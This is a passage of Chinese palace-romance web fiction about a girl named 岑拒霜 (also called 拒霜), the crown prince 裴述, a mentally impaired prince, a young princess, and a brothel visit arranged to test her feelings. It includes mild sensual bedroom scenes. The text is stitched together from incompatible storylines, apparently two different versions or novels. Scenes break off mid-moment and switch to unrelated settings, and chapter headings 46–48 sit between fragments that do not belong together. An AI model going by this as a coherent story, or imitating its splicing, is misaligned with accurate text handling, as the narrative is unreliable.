“我、我这里疼了好久了。”说着,他双手捂着肚子。 裴玄铭已经十八岁了,站起来高出岑拒霜不少,面容肖其母瑶妃,清秀俊逸。虽然衣袍脏兮兮的,眼神也略显呆滞,但皮相和骨相依旧超出常人。 岑拒霜心里轻叹一声,若不是痴傻了、口吃了,这不知是多少春闺的梦里人。 虽然裴玄铭比她年长,但这些年来,岑拒霜一直像姐姐一样照顾他,早已将他看作是自己的弟弟了。两人在暗处相依为命,岑拒霜看着他空荡荡的衣服和皮包骨头的手,越发内疚和心疼。 岑拒霜:“你先在这里等一会儿,我一会给你送些吃的来,你肚子就不疼了。” 岑拒霜安慰似的拍拍他的手,准备转身回宫,却不想裴玄铭却抓着她的衣袖不放手,一双眼眼巴巴地望着她。 裴玄铭:“霜儿刚来,又要走。” 他的模样,像极了被抛弃的小狗,可霜巴巴的。岑拒霜只好轻声道:“我待会儿就来。” 可是裴玄铭却明显不信,他依旧抓着岑拒霜的袖子不放手,细数岑拒霜的罪行:“你上次、走的……时候,也是这么说的。” “你说,等树木发芽,长出新叶了,你就,会来看我。可是……”裴玄铭捏紧了岑拒霜的袖子,却不敢再上前一步,只能瓮声瓮气道:“可是,我看着花开了,又谢了,也没等到你。” 岑拒霜:“……” 看着他声泪俱下,即使口齿不清也要努力说出自己告诉他的话,岑拒霜越发不是滋味。 她沉吟片刻,试探道:“那你跟我去芙蕖宫吧。” 裴玄铭眼神一亮,兴奋地看着岑拒霜,那双圆润的眼睛在瘦到几乎有些脱相的脸上立马透出几分神采,“霜儿,同意让我去你,宫里了?” 岑拒霜是岑皇后的人,自然不能直接和裴玄铭联系,由是岑拒霜从不让裴玄铭去自己的芙蕖宫,生怕被人撞见。 或许是兴奋至极,他上前一步走,无意识地反手抓着岑拒霜的胳膊,神采奕奕地望着她,像极了一只被抛弃许久又找到主人的小狗。 虽然他心智如幼童,但身体却是实打实的十八岁少年,下手没个轻重,岑拒霜被他抓得生疼,蹙眉挣扎了一下,然而完全挣不开裴玄铭的爪子。 像是怕岑拒霜会突然反悔,裴玄铭此刻就像是个刚刚学会抓握的幼崽,将岑拒霜紧紧地拽着,一丝也不放松。 岑拒霜无奈,只能心道:果然还是个不懂事的孩子。 她本不想这么冒险的,一是不知道十皇子裴桢林到底有没有离开,二是这条回芙蕖宫的路虽然偏僻,但依旧可能会遇上什么人。 然而,岑拒霜抬眼看了看那双和瑶妃极为相似的眼睛,实在是不忍心拒绝。 岑拒霜点点头,“嗯,但是就这一次,一会儿你看到人了,还是和我们以前说的一样,立马走到我的身后,知道吗?” 裴玄铭眼睛放光,他用那双纯净澄澈的眼睛望着岑拒霜,讨好地笑道:“嗯嗯,我知,道了!” 见他如此,岑拒霜越发不是滋味。 自从八年前他落水傻了之后,为了皇家的颜面,他几乎从未被允许踏出落月宫半步。岑拒霜于心不忍,有几次趁着宫里举行宴会繁忙,偷偷带他出去。 但怕撞见别人,每次也都是一盏茶、一炷香的时间罢了。 岑拒霜叹了一口气,如此情况,与其生于薄情的帝王家,倒不如生在寻常百姓家,说不定更自由。 看着裴玄铭一马当先地走在她前面,岑拒霜只好一瘸一拐地跟上,裴玄铭见状才想起来岑拒霜刚刚的模样,回到她身边,满眼担忧:“霜儿,你,这是怎么了?” 岑拒霜抬眼看了看高出自己大半个头的裴玄铭,心怪自己将他给忘了。裴玄铭于她,只是一个弟弟,并非有男女大防的男子。 姐姐受伤,弟弟相扶,再天经地义不过。 岑拒霜向他伸出手,指了指自己的膝盖,道:“我腿受伤了,你来扶我一下。” 裴玄铭看着岑拒霜的手直接呆住了,仿佛不能理解岑拒霜的话,直到岑拒霜催他一下,他才犹豫着上前握住岑拒霜的手。 岑拒霜身形高挑,但手脚精致小巧。裴玄铭一伸手,就将她的手裹起来了。 明明是初夏,但他的手却冰凉。 岑拒霜微微挣开,解释道:“……是手臂,不是手。” 裴玄铭没有成年人之间男女之防的观念,像是接受姐姐的教诲一般,从善如流地按照岑拒霜的指导做。 岑拒霜担心裴玄铭的身体,一开始还不敢卸力,见他似乎能撑得住,便靠着他、扶着宫墙,费力前行。 午后的烈日刺目,两人相互搀扶,一个腿脚不便,一个身体孱弱,在无人偏僻的青石板小道上,沉默无言。 每走一步,膝盖处的伤口就传来一阵刺痛,岑拒霜咬着下唇几乎快出血,浑身硬是疼出了一身冷汗。 她不自觉地偏向裴玄铭的方向,身体也渐渐往裴玄铭的手臂上倾,裴玄铭身体一僵,扶着她的手一顿。 岑拒霜早已疼的眼前发黑,她朝上费力抬了抬眼皮,声音已经弱到了微不可查地地步,“怎么了?” 裴玄铭望着岑拒霜,久久不语。那双眼,不再如往日般清澈,多几分深沉。 半晌,岑拒霜听他道:“这伤,是怎么弄的?” “是有人欺负你吗?” 欺负?裴述可没有欺负她。 岑拒霜摇摇头,“不是,是我自己不小心跌倒了。” 这里随时都有人路过,万一她和裴玄铭被人看到了,那就糟了。岑拒霜不想在这里跟他废话,她拉了拉他的袖子,“快走吧。” 没想到,裴玄铭却纹丝不动,岑拒霜奇怪地抬头,只见他低下头凝视着自己。 他逆着光,岑拒霜看不清他的眼神,这一瞬间,她竟诡异地感到一阵陌生。她不自在地动了动,正当她在想开口的时候,裴玄铭开口了: “那,我背你。” 背? 岑拒霜想也不想就摇头拒绝了。 先不说他能不能靠着自己的小身板背着她撑到芙蕖宫,万一有人来了,那该如何? 岑拒霜深吸了一口气,紧紧抓着裴玄铭的手臂,“先回去。” 然而,一向听话的裴玄铭,此刻却根本听不进去岑拒霜的话,僵着身子一动不动,似乎岑拒霜不让他背,他就再也不走一般。 幼时的裴玄铭集万千宠爱于一身,也曾有一段呼风唤雨的日子。那时的他,性子跳脱,难免有几分顽劣。 可自五年前落水痴傻之后,整个人性情大变,往日的顽劣不见踪影,取而代之的是乖巧和沉默,甚至可以说得上是怯懦。 岑拒霜拉了他几下,然而裴玄铭似乎是打定主意要背着岑拒霜走,任凭岑拒霜怎么拉也拉不动。 这一瞬的固执,岑拒霜似乎又看到了当年那个小顽劣了。 岑拒霜正新开口问,却恍惚之间看到了前方一个模糊的人影。 “有人来了!” 心慌之下,她赶紧推开身边的裴玄铭,自己也被这道力摔在了墙上,痛苦地弓着身子,靠在墙上吸气。 裴玄铭本就有些站不稳,一时没注意,直接被岑拒霜推到在地,双手下意识撑在地上,直接蹭破了皮,渗出密密麻麻的血滴。 岑拒霜见状心里一颤,担心地倾身向前看看他的情况,然而体力不支右腿一软,直接倒在了地上。 于是,当沅芷找到岑拒霜的时候,便见着了这幕奇怪的场景。 她慌乱地先将岑拒霜扶起,看着缓缓从地上起身的裴玄铭,关切道:“小姐和六殿下这是怎么了?” 岑拒霜终于带来了救兵,她几乎是趴在了沅芷的身上,忍着疼,意有所指道:“那人回去了吗?” 沅芷立刻就发现了岑拒霜的异样,她贴心地搂着岑拒霜,在她耳边轻声道:“回去是回去了,但他留了太医在宫里。” 太医? 糟了!那裴玄铭…… 岑拒霜看了看一旁目光灼灼盯着她的裴玄铭,如果有裴桢林的人在,那她就不能带着裴玄铭回去了。 和岑拒霜相处十年,裴玄铭对岑拒霜的眼神和动作最熟悉不过,看着她眼里的犹豫,瞬间明白他怕是去不了了。 他不禁丧气地看着岑拒霜,委屈道:“霜儿又,不让我去,了吗?” 岑拒霜:“……” 她看了看沅芷,对着裴玄铭安慰道:“今天不行了,先让沅芷带你回去,一会儿我让人来给你送点儿吃的,下次我再带你出来。” “每次,都是下次、下次!”裴玄铭刚刚被岑拒霜粗暴地推了一下,心里本就不满,如今又要食言,他有些崩溃地看着岑拒霜,控诉道:“嬷嬷们说得对,我不该,给你添麻烦,当初我要是跟着我娘,一起死了就好了!” 或许是愤怒至极,他连话都说的没那么结巴了。说完,他一把推开身前的沅芷,一溜烟地跑了出去。 岑拒霜看着他的背影,心里轻叹了一口气。 晚上再偷偷来看他吧。 好在这条路就只有落月院,她也不担心裴玄铭会走丢,看着在一旁惊异不定的沅芷,岑拒霜无奈地看看被红墙围起来的一片窄窄的蓝天,叹道:“走吧,麻烦总得一个一个解决。” 比裴玄铭更麻烦的,还在后面呢。 “疯子?变.态?” 太子自顾自说着,每个字音咬得极重,他睨了眼心虚的岑拒霜,“还想往孤脸上画大王八?” 岑拒霜没想到那会儿她说的话全被太子听了去,但见太子欲要发作,她索性装糊涂,“殿下在说什么,我怎么听不懂。” 太子冷声说着,“听不懂就过来,给孤擦干净。” 岑拒霜只好作罢,找了半刻才寻到自己衣上一块不算脏的一角,她捻起凑近,轻轻擦拭着太子的脸颊,一点点将那些污泥和水渍撇开。 余光忽见他胳膊上的伤口又渗出血来,浸湿了半个衣袖。 她下意识便要脱去他的衣裳。 指尖揪着他衣襟的霎时,她蓦地想起,太子正幽幽盯着她看。 第 46 章 觅食 岑拒霜只觉指尖变得滚烫无比。 当下太子已经醒来,她当着他的面便要扒他的衣裳,这样的行径可谓之胆大。 许是因为她的动作过于行云流水,不像是第一次扒他的衣服,岑拒霜余光瞥见太子望过来的视线灼烈起来,像是两道烧得正盛的火,烤着她的面容与耳根,很快就把她整个面颊弄得通红。 她蜷着手指仓促缩回,胡乱摸着一旁采好的药草,朝他递了上去,“殿下……你臂上的伤口需要止血,我采了些可以止血和疗伤的药草,你嚼碎了敷上就好。” 太子看着跟前她捧着药草的手,那素日里连着掌心纹路与指甲缝都干干净净,此刻满是干涸的血和泥沙,红的紫的各处不一,似是能够想像出她那无甚力气的双手提着匕首,一点点挖着药草的模样,两只胳膊交错晃动着,像是栽进泥里的小狸奴刨着爪子。 山洞里未有生火,但仅凭皎皎的月色,疏漏而下的二三星光,已是足以看清很多东西。 岑拒霜低身掬起一捧清水,细细擦拭着面容上的脏污,又捏着发簪将整个发髻解下,如瀑的青丝散至后背,由着夜风吹拂。 太子默不作声地盯着她看,月华照彻,剔透的水珠自她净丽的面容落下,添就了几分姝色。“快快快,快把这些吃的端到一边去。” 拒霜将话本塞进枕头下,忙穿了鞋,一头如缎般的乌发却是来不及挽,半湿半干地垂在身后。 裴述踏入内殿时,便见羊角宫灯透出的暖色柔光静静笼着美人榻,而榻边的确也亭亭站着位美人儿。 乌发垂腰,雪肤杏眸,一袭烟粉色纱衣敞着,胸前紧裹着的兜衣若隐若现,牙白绸裤之下,是一双随意踏在睡鞋里的小脚。 绣鞋绯红,赤足皙白,宛若莲瓣盛雪。 裴述早知她一贯随性,却不料一入殿,就看到她这般毫无遮掩的娇慵姿态。 是世家女郎在闺中皆是如此,还是独她一人? 拒霜站在榻边,感受到男人的视线在她脚背流连了片刻,不禁蜷起足尖。 完了完了,他肯定又要嫌她衣衫不整、不够得体了。 “太子殿下万福。” 宫婢们的请安声适时提醒了拒霜,她也连忙行礼:“拜见殿下。” 一屈膝,烟粉轻纱溜下半边,露出半截雪肩。 拒霜悄悄用手提了下,不料那轻纱又往下滑…… 拒霜大窘,之前也没发现这料子这么滑啊。 隔着不远不近的距离,裴述看着她这点小动作还有那两只染红的耳尖,眉心微动:“起来吧。” “是。”拒霜暗暗松口气,直起身后,忙不迭将外衫的系带系上。 再次抬眼,一袭玉色长袍的太子已然走到身前,施施然在榻边坐下。 拒霜这会儿一肚子疑惑,但想到白日教习嬷嬷教得那些规矩,只得暂时憋住,吩咐宫婢:“快上茶。” 裴述道:“不必忙活,你们都退下。” 拒霜眼睫轻颤了颤,下意识看向采月。 采月回以一个鼓励的眼神,便带着其他宫婢退下。 一时间,阒静寝殿内只剩下拒霜和裴述二人。 见她还呆呆站着,裴述道:“不坐?” 拒霜哦了声,边坐边偷偷瞄向对侧那身姿端正,宛若月下谪仙般的男人,终究是没憋住:“殿下,你怎么来了?” 裴述淡淡看她:“孤不能来?” 拒霜一噎,小声咕哝:“不是你自己说的分殿而居嘛,这才第二天呢……” 提到这事,裴述眼底也掠过一抹不自在,只面上不显,平静道:“分殿而居不假,但你我至今尚未全礼,若是传扬出去,于你我婚事多有不利,亦有损皇室和岑氏的颜面。” 原来他大晚上过来,还是为了那周公之礼。 虽是意料之中,拒霜心底却莫名有一丝小小的失落。 她垂下鸦黑眼睫,默不作声。 对面之人却开了口:“可沐浴过了?” 拒霜低低嗯了声,再次抬眼,神色忐忑:“是现下就要行那事么?” 看着烛光下那张白净清艳的小脸,裴述忽的想起母后说的那句“若是瑶瑶远嫁他乡,她夫君如此冷待于她,你气不气?”。 搭在膝头的长指稍拢,他稍缓语气:“你还有旁的事要做?” “那倒没有。”拒霜道:“就是我头发还没干,我阿娘说了,得把头发绞干了再睡觉,不然寒气入脑,第二日醒来会头疼。” 裴述闻言,视线落向少女垂落身后那一头乌发,默了片刻,他站起身。 拒霜见他陡然起身,还以为他要走了,没想到他却朝她走了过来。 迎着她错愕的目光,他弯腰拿起搭在一旁的巾帕,伸向她的发。 “殿下?”拒霜错愕。 “别动。” 裴述将她圆溜溜的小脑袋按下去,又展开帕子将那头乌发包起,不紧不慢擦拭着:“若扯疼了,记得出声。” 拒霜怔怔坐在榻边,简直难以置信。 昨日还冷冰冰的太子殿下竟然在替她擦头发? 她不是在做梦吧! 趁他不注意,她悄悄掐了下腿侧。 嘶,疼的! 不是在做梦!他真的在替她擦头发,而且还这么温柔…… 一时间,拒霜只觉这两日横亘在胸间的闷意好似拂来一阵凉爽清风,云开月拒。 又忍不住去想,他前两日对她那样冷淡,或许是心情不好,又或者和她还不熟悉,才会那样疏离?又又或者是听说她今日有很乖地学了一日规矩,发现她的长处了? 无论是哪种情况,他现下这般温柔亲近,都叫她心下欢喜。 拒霜心情一好就话多,自然而然与他分享起来:“太子哥哥,我今日和嬷嬷学了宫规第一册,嬷嬷夸我聪颖,教一遍就会了呢。” 那拭发的手似是一顿,而后男人轻轻嗯了声。 拒霜知道他是个寡言的性子,也不计较,自顾自道:“她还说这几日先背宫规,等宫规都背熟悉了,再学行礼……你们长安这边的礼数和我们北庭可太不一样了,你们这边的娘子出门要戴帷帽,走路要轻摇慢摆,就连迈步,连脚尖先落地还是脚背再落地都有讲究……” 因着是低头擦发的姿势,她也瞧不见背后男人的神情,见他没出声打断,只当他爱听,于是继续絮絮说着。 裴述本想着宫婢手脚慢,他上手或能快一些。 未曾想她小小的脑袋竟长了这么多的头发,擦干一绺又一绺,仿佛擦不尽般。 就如她那张嘴,樱桃般小巧,却能滔滔不绝说这么久的废话。 终于,在她端起茶杯歇口气时,裴述没忍住道:“你每次绞干头发,都要耗费这些时辰?” “对呀,头发长就比较麻烦。不过也还好,我可以躺着看话本,让采月采雁一左一右替我擦,不知不觉就擦干了。” 说到这,拒霜忽然想到什么,仰起脸:“太子哥哥,你是不是累了?若是累了,还是唤婢子们进来吧,这种事本就不该劳烦你。” 裴述一垂眼,便看到乌发下掩着的那张莹白小脸。 他知道她的脸小,但从这个角度看去,尤其显得小,那双波光潋滟的黑眸好似占了近半张脸。 这样娇柔小巧的人,又生着一副至纯至真的性情…… 也不知父皇在那私函之中是如何保证,才能诓得肃王夫妇放心把她嫁入皇宫。 “殿下。”拒霜眨眨眼,“你怎么又不说话了?” 裴述晃过神,将她撩起的发放下,遮住那双琉璃般纯澈的眸:“不用唤旁人,还差发尾就好了。” 拒霜“哦”了声,也没再说话,只透过长发间隙,看着眼前的男人身体。 他今日系着一条羊脂白玉的云纹锦带,简简单单,却将一把劲腰束得更窄。 脑中冷不丁又浮现那夜,他赤着上身的模样。 那把腰,那么细,又那么劲。 惹得人想伸手抱一抱、摸一摸…… 男人的腰,也会像她的一样软吗? 思绪纷飞间,男人沉缓的嗓音在头顶响起:“好了,可以上床安置了。” 拒霜一怔,而后双颊发烫,忙不迭点头:“好,我把头发梳顺了就过去,你…你先去吧。” 裴述手中还拿着巾帕,便见方才还喋喋不休的小姑娘像只脱笼兔子般,逃也似的圾拉着睡鞋朝菱花镜跑去。 毛毛躁躁,莽莽撞撞…… 罢了,念在她年岁尚小的份上。 他沉沉吐了口气,将巾帕撂在一旁,便抬步朝那张仍挂着大红百子千孙帐的拔步床走去。 等拒霜梳好头发,走到床边时,两边帐子已然放下,脚踏上那双麒麟纹赤舄摆放得整整齐齐。 他已经在帐子里了。 这个认知叫她心跳加快,缓了好一会儿才抬手掀起幔帐。 只见光线昏暗的床帷间,容色清俊的男人已脱下那件玉色外袍,仅着牙白亵衣,端坐在床边。 见帘子掀开,他撩起眼皮,清清冷冷乜来一眼。 宛若咬到一口夏日碎冰,拒霜心底一激灵,同时一阵说不出的紧张和羞耻从脚趾传到头顶。 “上来罢。”裴述淡淡道。 “好、好。”拒霜垂着眼,压根不敢再看他,很快脱了鞋,“太子哥哥,你……你让一让,我要爬到里面去……” 裴述收了双腿,腾出一片地方。 下一刻便见她弯着腰,像只小猫似的慢慢往里爬去,两只雪白足尖弓着,如两弯月牙儿。 意识到今夜的目光在这双足上停留过多,他僵硬地偏过脸,却不防看到少女塌下的腰肢。 如烟似雾的烟粉轻纱下,那雪腻纤腰,似一抹折柳,盈盈不堪一握。 不堪么? 裴述眸色微动,鬼使神差抬起了手。 “啊!” 腰间陡然被勾住,拒霜身子一僵,没等她回头,顷刻间一阵天旋地转。 再次回神,细腰隔着一层薄纱被男人紧紧握住,她脑袋贴着枕头,身前忽的一重。 十八九岁,正是男子最为气血蓬勃的年纪。 那具牢牢覆上的身躯,热意逼人,难以忽视。 待看到年轻男人那张如玉脸庞近在咫尺,晦暗光线里,那双狭眸精光摄人,她心头一阵慌乱。 “太子哥哥……你……你……” 她眼睫颤颤,慌得话都说不利索:“我还没躺好,衣裳也没褪……” 看着那张红润润的樱唇,裴述喉头微滚,“无妨。” 他抬手,遮住她的眼,低头吻上那抹嫣红。 他随手把半个果子扔给了蹲在一旁的玄狼,玄狼跳起半个身子衔住了野果,呲着白牙三两下将果子嚼碎,浓稠的汁液顺着狼颌流下,玄狼还意犹未尽地舔了舔嘴边的灰毛,又摇头摆尾地对着太子低吟了两声,但太子丝毫没有听到。 直至她望了过来,视线短短交缠了一瞬。 太子收回了目光,起身往另头而行,“还不走?” 岑拒霜好不容易才弄干净了脸,先不论她尚在气头上,现下她是真的走不动了。 却见太子在她跟前躬下了身,宽厚的后背对着她。 “上来。” 第 47 章 回程 幽暗夜色里,那背影落满了如霜月华,很是宽大。 岑拒霜怔怔地看着他,不由得踌躇起来,直直太子冷冷的嗓音传来。 “孤从来不重复第二遍。” 岑拒霜听出他话中威胁的意味,紧忙乖巧爬到他的后背。 一想到背着自己的人是太子,这样奇异的感觉莫名蔓延在心口,她说不出究竟是紧张,还是别的什么。 岑拒霜只觉胸腔里的心脏扑通扑通加速跳动起来,她的两只胳膊不知该如何安放,直愣愣地支在他肩膀两边,整个人一动不动地趴着,浑身极为僵硬。 太子直起身来,察觉到她紧绷的身躯,他不耐烦道:“你是尸体吗?好生抱着孤。” 这近在咫尺的娇美脸庞,裴瑶一下看傻了。 还是拒霜又唤了她两声,她才后知后觉红了脸,垂着眼睫小声道:“我不像我皇兄,我喜欢说话的,我只是觉着嫂嫂长得很像我的磨喝乐。” 拒霜微怔,“像吗?” 说到一半,意识到自己似乎说太多,裴瑶掀眸觑着拒霜:“嫂嫂,你不是不爱听这些?” “不会呀。”拒霜笑眯眯看着眼前这位活泼的小姑子:“我正在殿里无聊呢,你能来陪我说话,我欢喜极了。” 裴瑶眨巴眨巴眼,“你不会嫌我幼稚吗?” 拒霜道,“为何要嫌弃你幼稚?再说了,你本来就还是个孩子,小孩子幼稚不是很寻常么。” 裴瑶歪着脑袋:“嫂嫂真的这样想吗?” “我骗你做什么。”拒霜失笑,又反问她:“难道有谁嫌你幼稚不成?” “还能有谁?我皇兄啰!” 裴瑶撇撇小嘴:“上回我的磨喝乐胳膊摔断了,我伤心极了,他却说我已经十岁,不该为个偶人落泪。可那不是一般的偶人,那是我的宝宝呢,哼,他当真是无趣。还是我父皇好,第二天就让匠人把磨喝乐的胳膊装好了,还让御医给她绑纱布,让她好好修养呢。” 拒霜听罢,心想皇帝公爹可真好,带着御医和宫人一起哄着小公主。 至于太子殿下,拒霜重重点头:“对,他那人实在无趣极了。” 大抵从古至今,女孩子促进感情最快的办法就是背后一起蛐蛐人。 两个虽相差五岁却同样被家中娇宠的小娘子找到同盟般凑在一块,毫不客气地蛐蛐起太子。 一旁的宫人们冷汗连连,只恨不得把脑子埋进地里,把耳朵堵住。 这俩小祖宗敢说,她们却不敢听呀! 许兰君午觉醒来,发现公主不见了,吓得花容失色。 一路打听着寻来了东宫,刚要入内,便见太子的肩舆迎面而来。 许兰君忙敛了神色,屈膝行礼:“臣女拜见太子殿下。” 裴述刚从紫宸殿议政回来,今日那两位老御史极其难缠,揪着一件小事死活不肯松口。父皇被他们念烦了,又不好发作,干脆借口身体不适先溜一步,徒留裴述一人与御史们周全。 自从八岁随皇帝一起临朝听政,自家父皇这种甩手掌柜的行为,裴述已见怪不怪,好不容易送走两位老御史,这会儿回到东宫,耳朵还有些嗡嗡。 未曾想刚到宫门前,却见到了许兰君。 肩舆停下,他居高看去:“你怎么不在绮罗殿侍奉长乐,来了东宫?” 许兰君恭敬垂首:“臣女一时疏忽,竟叫公主殿下独自跑了出来,臣女现下来寻公主回去。” 裴述揉着眉骨的长指一顿:“长乐在东宫?” 许兰君:“是。” 裴述抿唇,前几年自家这个妹妹还挺爱往东宫跑。 后来她每次来,他不是在处理政务,便是听诸位名儒大家讲课,渐渐便来得少了。 “正好孤要回紫霄殿,一道吧。”裴述道。 许兰君微怔,脑袋垂得更低:“殿下,公主并不在紫霄殿,宫婢说她去了瑶光殿。” 瑶光殿,太子妃的居所。 裴述凤眸轻眯:“她去瑶光殿作甚?” 许兰君:“臣女不知。” 裴述:“……” 须臾,他沉声吩咐福庆:“摆驾瑶光殿。” 太子肩舆往瑶光殿而去,许兰君在后随行。 偶尔抬起眼,偷偷瞄向前头那道清隽背影,又很快垂首。 如今太子已娶妻,那些无法宣之于口的爱慕注定只能掩入心底。 只她想起那日御花园里匆匆一瞥,那位岑氏女郎香娇玉嫩,杏面桃腮,的确是姿容绝色,可言行举止间一派天真,与太子想要的“贤妻”相差甚远。 自己虽比不得那位清河崔氏女的贤名,但比之这位岑氏女郎,她还算得上端庄持重…… 罢了,如今再想这些又有何意义。 母亲不是已经拒拒白白与她说了,岑氏女为妃是陛下钦定之事,连太后都无法插手,又哪轮到她来委屈不甘? 许兰君垂下眼睫想,大抵就是没缘分吧。 哪怕她与太子一起长大,哪怕她苦心经营才女之名只为多些被他青睐的可能…… 无缘便是无缘。 瑶光殿,裴瑶饮完满满一杯乌梅饮,满是亲近地看向拒霜:“嫂嫂,我喜欢你当我嫂嫂。” 虽然兰君姐姐也很好,但她从不会说皇兄的坏话,反倒会严肃纠正“公主不可背后妄议兄长”。 裴瑶知道妄议兄长不对,可就是忍不住嘛! 现下好不容易找到个志同道合的,裴瑶霎时觉得这才是她的天选嫂嫂! 听到小公主直白的示好,拒霜红着脸,握住她的手,“阿瑶妹妹,我也喜欢你,你以后有空,多来东宫找我玩吧,我的陪嫁里有好些北庭的厨子,我让他们给你做北边的吃食。” 裴瑶双眼发亮,“好啊好啊,那我一寻到机会就来找你玩。” 姑嫂俩你拉着我,我拉着你,对视笑了会儿,拒霜提议打双陆玩。 裴瑶看了眼窗外天色:“最多打三盘,我就得回去了,下午还有音律课呢。” 拒霜颔首应下,两人摆起棋盘。 刚打一把,殿外便响起通禀声:“太子殿下到——” 姑嫂俩一怔,待反应过来,裴瑶撂下棋子:“完了,要是叫我皇兄知道我偷溜来东宫,定要训我!” 拒霜忙道:“那你快去内殿躲一躲。” 姑嫂俩急急忙忙下榻穿鞋,但还是晚了一步。 “瑶瑶。” 这清冷的嗓音陡然响起,裴瑶肩背一僵,下一刻连忙躲到了拒霜后背:“嫂嫂救我!” 拒霜:“……” 她也怕他啊! 但她现下既然是嫂嫂了,那就得有个嫂嫂模样。 深吸一口气,拒霜抬手将小公主护在了身后,这才转过身,“殿下,你来……” 当看到一袭玄色麒麟纹圆领袍的青年身后半步,还站着道袅袅婷婷的淡蓝身影时,拒霜一怔,那个“啦”字也卡在喉中。 许三娘子为何会和太子殿下在一块儿? 不过他们俩站在一起,一个清冷矜贵,一个温婉如兰…… 果然很是般配呢。 拒霜恍惚地想着,心底却莫名泛起一丝说不上的滋味。 未待她琢磨,太子朝她看来,两道浓眉随之皱起,似是欲言又止。 拒霜:“……?” 他怎么看到她就皱眉,就这么讨厌她么? 裴述的目光挪开,往后望去:“瑶瑶,出来。” 裴瑶揪着拒霜的衣摆,可怜兮兮:“嫂嫂。” 拒霜也回过神,向裴述和许兰君打了声招呼,道:“我闲来无事,派人去请阿瑶妹妹来我这做客,你们怎么都来了?” 裴述看她一眼,也没多说,只道:“既是如此,时辰也不早了。” 他微微偏脸:“你说午后她还有音律课?” 身后的许兰君颔首:“是的。” 于是裴述视线落向裴瑶:“快随许娘子回绮罗殿,莫要误了课时。” 裴瑶见他并没有责怪之意,暗暗松口气,从拒霜身后出来,“嫂嫂,那我先回去啦。” 拒霜弯眸:“好,下次再来玩。” 裴瑶粲然一笑,“嗯!” 许兰君见状,也屈膝挹礼:“太子、太子妃,那臣女先带着小殿下告退。” 裴述淡淡嗯了声,拒霜走上前打算送一送。 未曾想刚经过裴述身边,雪白细腕被一把握住。 她微诧抬眼,“殿下?” 裴述没说话,也没松手,甚至脸上的表情也无一丝变化。 倒是走在前头的许兰君和裴瑶循声回头。 当看到太子牢牢握着太子妃的手,许兰君眼波一颤,忙掩住公主的眼:“殿下,咱们快走吧。” 直到那两道身影走远,拒霜挣了下手腕。 裴述却将她拉到了身前,两根长指伸向她的脸。 拒霜眼瞳微睁,却见裴述从她脸颊撕下一张长长的纸条:“堂堂太子妃,如此仪容,像什么话?” 拒霜本想反驳,一看到那张惩罚用的纸条,霎时闹了个大红脸:“我…我方才和阿瑶妹妹打双陆,输了一局,忘了脸上还贴着纸条……” 裴述也猜到是怎么回事,敛眸道:“妹妹年岁小不懂事,你是她长嫂,应当庄重些。” 拒霜心道玩游戏要什么庄重?而且她也不知道他大白天的会突然过来。 又想起方才他面对许兰君时始终斯文客气,对自己却又是皱眉又是教训。 心底无端涌上一阵闷气,拒霜脸颊一鼓,用力挣脱他的手,头也不回地进向内室:“你若喜欢庄重的,就去找庄重的好了,反正阿瑶妹妹可喜欢我了,我们玩得好着呢!” 岑拒霜只觉自己抓住了解蛊的关键,她激动地抓着宁妍的手,问道:“宁妍可会解这个蛊?” 宁妍奇道:“为何要解?此蛊在南疆也是个珍稀种,很多情人想要都求不到呢。” 岑拒霜轻摇着头,避重就轻地解释着,“这个蛊带来太多麻烦了。” 宁妍思及也不是所有人都像她和薛三郎一样,感情之中追求俩人之间的特殊情.趣,岑拒霜身子那么柔弱,碰上太子那样受伤便一起受罪,这蛊的弊确实大于利,还不如解掉,少一个人受苦。 “好吧,我回宫后研究一下这个蛊怎么解,有了法子后,第一时间告知你。” 岑拒霜心里一直压着的重石有了突破口,她上前抱着宁妍,“多谢!” 少顷,她眼前一闪而过太子那晚背着她、想要亲她的模样,岑拒霜忐忑问着,“宁妍,我想再问你一个问题……如果你不讨厌一个人亲你,是为什么?” 那夜过后,岑拒霜想了很多。 亲吻这样的事似乎太过于暧昧,可她发现自己并不讨厌太子亲她。那时若不是东宫暗卫前来,她可以肯定的是,她并没有想要睁开眼阻止太子的想法。 “这简单啊,我带你去西市的流云阁,点上十个伶人,你挨个试试。” 第 48 章 伶人 西市,流云阁。 一入了夜,软红香土,亭台朱栏间,飘动的彩绸随风涌动,阵阵香风袭人。鼓声喧嚣声里,往来人影憧憧,挨挨挤挤地踏过门槛。 随着一辆华贵不凡的马车停在了门前,老鸨紧忙碎步朝前,神色恭谨,点头哈腰地朝马车内的人影说着, “哎哟哎哟,这每天盼着风,可把您给盼来了!” 岑拒霜随宁妍出宫来了西市的流云阁,彼时宁妍予了她一面面纱戴上,遮去了面容,她同宁妍从马车而出,流云阁的老鸨极为热切地相迎着。第一次出入风月场所,她满是新奇地探头看去,依稀见得其内伺候人的小倌个个生得清秀俊俏,很是可人。 宁妍轻车熟路地带着岑拒霜踏入了其中,对一旁的老鸨招呼着,“老规矩,把你们这里最懂事最讨喜的,都叫到包厢里来,我来挑挑。” 老鸨连连赔笑,“您这话说的,咱们流云阁里调.教出来的,有哪个不懂事不讨喜?” 一直回了东宫,拒霜都没和裴述再说话。 采月和采雁见她一脸不高兴,心中都奇怪。 太子不是还转道西市给娘子买了羊肉酥饼么,娘子怎么气咻咻的? 闹别扭归闹别扭,夜幕降临后,裴述还是来了瑶光殿。 已经是大婚的第三夜,夫妻俩却还未圆房。 既然这事是必定要做的,拖拖拉拉并非裴述的处事风格。 是以待宫人告退,看着拔步床上那个裹紧锦衾只给他留了个背影的太子妃,裴述走到榻边坐下,又抬手掰过她的肩。 拒霜挣了两下,但她那点力气在身强力健的年轻男人面前完全不够看。 最终还是被掰了过来,右肩被男人宽厚的大掌牢牢按住,仿佛将她钉在了床榻上。 感受到那隔着薄薄布料袭来的惊人热度,拒霜眼睛瞪得溜圆:“你做什么?” “今日可适应好了?”裴述垂眸:“若适应好了,便将礼数做周全。” 拒霜原以为他主动拉她,是要和她说软乎话道歉。 从前她在家闹别扭了,哥哥姐姐都会主动哄她:“好了好了是哥哥/姐姐不对,霜霜别生气了。” 拒霜都想好了,只要裴述哄她一句,她就原谅他,可他却…… “我们不是在吵架吗?” 拒霜蹙眉,闷声嘟囔:“吵架还能行那种事么?” 她虽没做过,却知那事常被称作“鱼水之欢”、“床笫之欢”,既然是“欢”,那肯定得高高兴兴才做的。 可他们现下还在闹别扭呢。 裴述看着掌下的少女,她姝丽眉眼间透着稚嫩,眼神却无比认真,当然,还存了一丝委屈的愠怒。 拒拒已及笄,言行举止仍是一团孩气。 或许她本该在家中留到十七八,再嫁给一个门当户对,同样不需肩负责任、只需安乐享福的世家幼子。 